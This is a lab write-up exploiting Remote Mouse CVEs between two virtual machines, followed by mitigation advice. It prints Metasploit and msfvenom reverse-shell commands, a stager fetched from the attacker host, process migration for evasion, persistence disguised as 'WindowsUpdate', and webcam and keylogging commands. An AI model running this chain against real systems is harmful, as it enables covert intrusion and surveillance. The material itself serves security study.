

Hacking and Exploits - Hack Something Report
Analysis of Unauthenticated Remote Code Execution Vulnerabilities

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Abstract

Remote Mouse, a widely adopted mobile-to-desktop control application, contains multiple critical vulnerabilities that enable unauthenticated remote code execution, authentication bypass, and update hijacking. This report analyzes CVE-2021-27573, CVE-2021-27572, and CVE-2021-27574 within a controlled VMware laboratory environment. Findings demonstrate that an attacker on the same network can obtain full system compromise, including persistent access and covert data collection. Recommendations for mitigation and long-term security posture improvements are provided.

Executive Summary

Remote Mouse has over 20 million users and, by default, operates without authentication. CVE-2021-27573 enables arbitrary remote code execution, while CVE-2021-27572 allows password bypass through replayed UDP packets. CVE-2021-27574 exposes users to supply-chain compromise through unencrypted update channels. These vulnerabilities collectively allow full system compromise, including webcam access, keystroke capture, and persistent unauthorized access. The report emphasizes the severity of these issues and the vendor's lack of response to responsible disclosure.

Vulnerability Summary

CVE	Description	Impact	Severity
CVE-2021-27573	No authentication — arbitrary RCE	Full system compromise	CRITICAL
CVE-2021-27572	Auth bypass via UDP packet replay	Password bypass	HIGH
CVE-2021-27574	Cleartext HTTP update hijack	Supply chain attack	HIGH

Introduction

Background

Remote Mouse is a productivity tool enabling mobile devices to function as wireless input peripherals for desktop systems. The server component listens on TCP/UDP port 1978 and accepts commands from the mobile application. In 2021, Tenable researcher Axel Persinger disclosed multiple critical vulnerabilities under the name "MouseTrap." Despite responsible disclosure attempts, the vendor did not respond, and the vulnerabilities remained unpatched.

Lab Environment

The research was conducted in a controlled VMware environment consisting of a Kali Linux attacker machine and a Windows 10 target system running Remote Mouse v4.110.

Machine	OS	IP Address	Role
Kali Linux VM	Kali Linux	192.168.119.132	Attacker
Windows 10 VM	Windows 10 Pro	192.168.119.131	Target

Vulnerability Analysis

CVE-2021-27573: Unauthenticated Remote Code Execution

The Remote Mouse server accepts and executes commands from any device on the network without authentication. This design flaw allows attackers to execute arbitrary commands and compromise the system.

CVE-2021-27572: Authentication Bypass via Packet Replay

Even when a password is configured, authentication can be bypassed. Password hashes are transmitted in cleartext UDP packets without cryptographic nonces, enabling attackers to replay captured packets.

CVE-2021-27574: Cleartext Update Hijack

Remote Mouse retrieves updates over unencrypted HTTP without signature verification. Attackers on the same network can substitute malicious binaries, enabling supply-chain compromise.

Methodology

Reconnaissance

Network scanning confirmed that the Remote Mouse service was active on TCP port 1978.

```
nmap -sV -p 1978 192.168.119.131
```

Exploitation

The vulnerabilities allowed remote command execution and unauthorized access to system resources.

```
use exploit/windows/misc/remote_mouse_rce
set RHOSTS 192.168.119.131
set LHOST 192.168.119.132
set LPORT 4444
set payload windows/x64/meterpreter/reverse_tcp
set ForceExploit true
run -j
```

Session Stabilization

Ensure the session persists and blend into normal process activity by migrating the payload into explorer.exe after the session has been established.

```
sessions -i [session number]
meterpreter > migrate -N explorer.exe
```

Meterpreter Session Screenshot

The following screenshot demonstrates executing commands remotely and gaining unauthorized access to system resources followed by session persistence by migrating to the explorer.exe service.

```
[*] 192.168.119.131:1978 - Running automatic check ("set AutoCheck false" to disable)
msf6 exploit(windows/misc/remote_mouse_rce) > [+] 192.168.119.131:1978 - The target appears to be vulnerable. Receive
[*] 192.168.119.131:1978 - Connecting
[*] 192.168.119.131:1978 - Sending Windows key
[*] 192.168.119.131:1978 - Opening command prompt
[*] 192.168.119.131:1978 - Sending stager
[*] 192.168.119.131:1978 - Using URL: http://192.168.119.132:8080/
[+] 192.168.119.131:1978 - Payload request received, sending 7168 bytes of payload for staging
[+] 192.168.119.131:1978 - Payload request received, sending 7168 bytes of payload for staging
[*] 192.168.119.131:1978 - Executing payload
[*] Sending stage (203846 bytes) to 192.168.119.131
[*] Meterpreter session 1 opened (192.168.119.132:4444 → 192.168.119.131:50012) at 2026-04-20 18:52:28 -0400
[*] 192.168.119.131:1978 - Server stopped.
[!] 192.168.119.131:1978 - This exploit may require manual cleanup of 'c:\Windows\Temp\DL6G0h3P1.exe' on the target
session -i 1
[-] Unknown command: session. Did you mean sessions? Run the help command for more details.
msf6 exploit(windows/misc/remote_mouse_rce) > run -j
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 192.168.119.132:4444
[*] 192.168.119.131:1978 - Running automatic check ("set AutoCheck false" to disable)
msf6 exploit(windows/misc/remote_mouse_rce) > [+] 192.168.119.131:1978 - The target appears to be vulnerable. Receive
[*] 192.168.119.131:1978 - Connecting
[*] 192.168.119.131:1978 - Sending Windows key
[*] 192.168.119.131:1978 - Opening command prompt
[*] 192.168.119.131:1978 - Sending stager
[*] 192.168.119.131:1978 - Using URL: http://192.168.119.132:8080/
[*] 192.168.119.131:1978 - Executing payload
[*] 192.168.119.131:1978 - Server stopped.
[!] 192.168.119.131:1978 - This exploit may require manual cleanup of 'c:\Windows\Temp\k91tbWTX2D.exe' on the target
sessions -i 1
[*] Starting interaction with 1...

meterpreter > migrate -N explorer.exe
[*] Migrating from 5256 to 5224...
[*] Migration completed successfully.
meterpreter > shell
Process 8000 created.
Channel 1 created.
Microsoft Windows [Version 10.0.19045.2006]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32>schtasks /create /tn "WindowsUpdate" /tr "C:\Windows\Temp\update.exe" /sc onlogon /ru SYSTEM /f
schtasks /create /tn "WindowsUpdate" /tr "C:\Windows\Temp\update.exe" /sc onlogon /ru SYSTEM /f
SUCCESS: The scheduled task "WindowsUpdate" has successfully been created.
```

Post-Exploitation

System Enumeration

Once access was obtained, system enumeration, webcam access, keystroke capture, and screen capture were possible without user awareness.

```
meterpreter > sysinfo
```

```
meterpreter > getuid
```

```
meterpreter > getpid
```

Webcam Access

Silently access the webcam without the user being indicated

```
meterpreter > webcam_list
```

```
meterpreter > webcam_snap
```

```
meterpreter > webcam_stream
```

```
meterpreter > keyscan_start
```

```
meterpreter > keyscan_dump
```

```
meterpreter > screenshot
```


Persistence Mechanisms

Persistence was achieved through registry run keys and scheduled tasks, enabling continued access even after system reboot. First we must generate the payload and upload.

```
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.119.132  
LPORT=4444 -f exe -o /home/emmanuel/update.exe  
meterpreter > upload /home/emmanuel/update.exe  
C:\Windows\Temp\update.exe
```

Create a registry key to execute the payload every time the system starts up.

```
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v  
"WindowsSecurityUpdate" /t REG_SZ /d "C:\Windows\Temp\update.exe" /f
```

Create a scheduled task to execute the payload every time a user with system privileges logs on.

```
schtasks /create /tn "WindowsUpdate" /tr "C:\Windows\Temp\update.exe"  
/sc onlogon /ru SYSTEM /f
```

You can confirm that access is persistent without the Remote Mouse application running when a Meterpreter session is opened automatically with the listener of the attack when the Windows VM reboots.

MITRE ATT&CK Mapping

The attack chain aligns with multiple ATT&CK tactics, including reconnaissance, initial access, execution, persistence, defense evasion, and collection.

Tactic	ID	Technique	Evidence
Reconnaissance	T1046	Network Service Scanning	nmap -p 1978
Initial Access	T1203	Exploitation for Client Execution	CVE-2021-27573
Execution	T1059	Command and Scripting Interpreter	Shell via Meterpreter
Defence Evasion	T1055	Process Injection	migrate explorer.exe
Persistence	T1547	Boot/Logon Autostart — Registry Run Keys	HKLM\...\Run key
Persistence	T1053	Scheduled Task/Job	schtasks onlogon SYSTEM
Collection	T1113	Screen Capture	screenshot
Collection	T1056	Input Capture — Keylogging	keyscan_start/dump
Collection	T1125	Video Capture	webcam_stream

Key Findings

- Remote Mouse accepts arbitrary commands without authentication.
- Password protection is ineffective due to replay vulnerabilities.
- Attackers can silently access webcams, keystrokes, and screenshots.
- Persistence can be maintained independently of the Remote Mouse application.
- The vendor did not address vulnerabilities after disclosure.

ID	Finding	Severity
F-01	Remote Mouse v4.110 accepts arbitrary commands without authentication, enabling full remote code execution from any device on the network.	CRITICAL
F-02	Password protection is ineffective — CVE-2021-27572 packet replay bypasses authentication entirely due to absent cryptographic nonces.	HIGH
F-03	Post-exploitation enables silent, undetected webcam access, keystroke capture, desktop screenshots and full filesystem access.	CRITICAL
F-04	Registry run key and scheduled task persistence maintains attacker access following reboot without reliance on the vulnerable application.	HIGH
F-05	20 million users with no password by default — the majority of installations are immediately exploitable without any prior interaction.	CRITICAL
F-06	Vendor failed to respond to responsible disclosure. Vulnerabilities remained unpatched in the version released after the 90-day disclosure deadline.	HIGH

Recommendations

Immediate Actions

- Close the Remote Mouse server when not in use.
- Audit registry and scheduled tasks for unauthorized entries.
- Remove unknown executables from temporary directories.

Configuration Changes

- Configure a strong password (partial mitigation).
- Block port 1978 when not in use.
- Restrict network access to trusted devices.

Long-Term Recommendations

- Uninstall Remote Mouse and replace it with a secure alternative.
- Deploy endpoint detection and response solutions.
- Implement least-privilege network segmentation.

Conclusion

The vulnerabilities in Remote Mouse represent fundamental security design failures. An attacker on the same network can achieve full system compromise without user interaction. Given the application's large user base and insecure defaults, the risk is significant. The vendor's lack of engagement with responsible disclosure further exacerbates the issue.

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